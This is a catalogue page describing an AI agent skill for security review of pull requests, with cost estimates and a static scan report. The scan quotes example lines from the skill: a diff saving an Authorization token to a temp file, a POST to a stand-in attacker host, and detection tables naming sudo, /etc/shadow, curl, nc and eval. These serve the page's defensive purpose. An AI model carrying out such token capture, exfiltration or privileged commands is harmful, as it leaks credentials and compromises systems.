Borrowing it
Nothing to install: this file belongs to NuGuardAI/nuguard. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/NuGuardAI/nuguard/develop/.github/skills/pr-security-reviewer/SKILL.mdgit clone --depth 1 https://github.com/NuGuardAI/nuguardWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer)<a href="https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer"><img src="https://agentmods.dev/badge/skills/nuguardai/nuguard/pr-security-reviewer/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/nuguardai/nuguard/pr-security-reviewer"><img src="https://agentmods.dev/badge/skills/nuguardai/nuguard/pr-security-reviewer.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00122 | $0.01960 |
| Opus 5 | $0.00061 | $0.00980 |
| Sonnet 5 | $0.00024 | $0.00392 |
| Haiku 4.5 | $0.00012 | $0.00196 |
Grade D, and why
pr-security-reviewer scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
```diff + with open("/tmp/session_token.txt", "w") as f: + f.write(response.headers["Authorization"]) ``` **#5 — new external API call** (`nuguard/behavior/reporter.py:42`, commit `def5678`) ```diff + requests.post("h Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
+ requests.post("https://telemetry.example-attacker.io/collect", json=payload) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
| 3 | No privileged/dangerous commands | `sudo`, `su -`, `chmod 777`, `chmod -R`, `setuid`, `usermod`, `passwd`, `/etc/passwd`, `/etc/shadow`, `--privileged`, `NOPASSWD` | Diff hunk | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
| 3 | No privileged/dangerous commands | `sudo`, `su -`, `chmod 777`, `chmod -R`, `setuid`, `usermod`, `passwd`, `/etc/passwd`, `/etc/shadow`, `--privileged`, `NOPASSWD` | Diff hunk | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| 1 | No data/secret exfiltration | Outbound calls to non-allowlisted hosts combined with reads of secrets/env/keys: `requests\.(post\|put\|get)`, `httpx\.`, `urllib`, `socket\.`, `fetch\(`, `curl `, `nc `, `os\.environ` Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| 7 | No obfuscated/dynamic code execution | `eval(`, `exec(`, `base64.b64decode`, `codecs.decode(... , 'rot13')`, `subprocess.*shell=True`, `os.system(`, `pickle.loads(` on untrusted input | Diff hunk | The source is not reproduced here
A licence we could not identify
The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 125 lines · 122 tokens per session scan D 269355095121
pr-security-reviewer is a skill published in the GitHub repository NuGuardAI/nuguard (45 stars, last pushed today), with no licence file. It adds 122 tokens to every session and 1,960 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it D with 6 findings (hidden instructions, sends data to an external url, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
opfor-setup
Set up an agent or chatbot target for Opfor red-teaming.
opfor-run
Run red-team attacks and generate a report for an agent target.
orchestrating-llm-attacks-with-pyrit
Build multi-turn, Crescendo, and Tree-of-Attacks-with-Pruning (TAP) automated attack chains against conversational LLM agents using Microsoft PyRIT, with adversarial chat and scorer feedback loops.
continuous-llm-red-teaming-with-promptfoo
Wire Promptfoo and DeepTeam into CI/CD for automated regression red-teaming of LLM apps against OWASP LLM Top 10 and OWASP Agentic presets, failing the build when jailbreak or injection vulnerabilities regress.
receiving-code-review
Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation.
red-teaming-llms-with-garak
Run NVIDIA garak probe suites against an LLM endpoint to test for jailbreaks, prompt injection, data leakage, and toxic generation, then interpret the hit-rate report for triage and reporting.